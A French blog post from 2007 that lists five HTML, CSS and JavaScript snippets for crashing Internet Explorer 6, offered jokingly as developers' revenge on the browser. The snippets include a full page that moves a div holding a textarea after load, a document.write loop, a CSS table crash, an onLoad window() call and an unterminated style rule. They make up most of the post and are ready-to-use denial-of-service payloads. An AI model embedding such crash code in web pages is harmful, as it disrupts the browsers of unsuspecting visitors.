5 façons de faire crasher Internet Explorer 6
Posté par jbj le 9 nov 2007 dans Windows • 4 commentairesC'est un secret pour personne, Internet Explorer 6.0 n'est pas vraiment réputé parmis les développeurs et intégrateurs web. Mauvaise prise en charge des propriétés CSS et plantages à répétition sont quotidiennement montrés du doigt par les informaticiens qui doivent -souvent à leur grand malheur- dealer avec ce navigateur obsolète pourtant encore utilisé par énormément de personnes.
Internet Explorer 6 possède plusieurs failles (la plupart, jamais corrigées par Microsoft) qui font qu'une simple ligne de code html peut faire littérallement crasher le navigateur. Voici une petite liste non-exhaustives de codes qui font lamentablement crasher IE.
Après tout, ce browser est une telle épine dans le pied pour nous codeurs, que nous avons bien le droit de nous venger de temps en temps
Celui-ci est un peu long mais néanmoins très efficace:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow: hidden;
scrollbar-base-color: #330066;
}
.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}
</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}
function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move" class="crash">
<table>
<tbody>
<tr>
<td>
<textarea></textarea>
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
Javascript et IE6, une grande histoire d'amour...
<script>for (x in document.write) { document.write(x);}</script>
Ce code est un des derniers en date à avoir été découvert:
<style>*{position:relative}</style><table><input></table>
Le retour du Javascript qui n'aimais pas IE...
<body onLoad=”window()”>
Et pour finir...mon préféré.11 caractères et...bang
<STYLE>@;/*









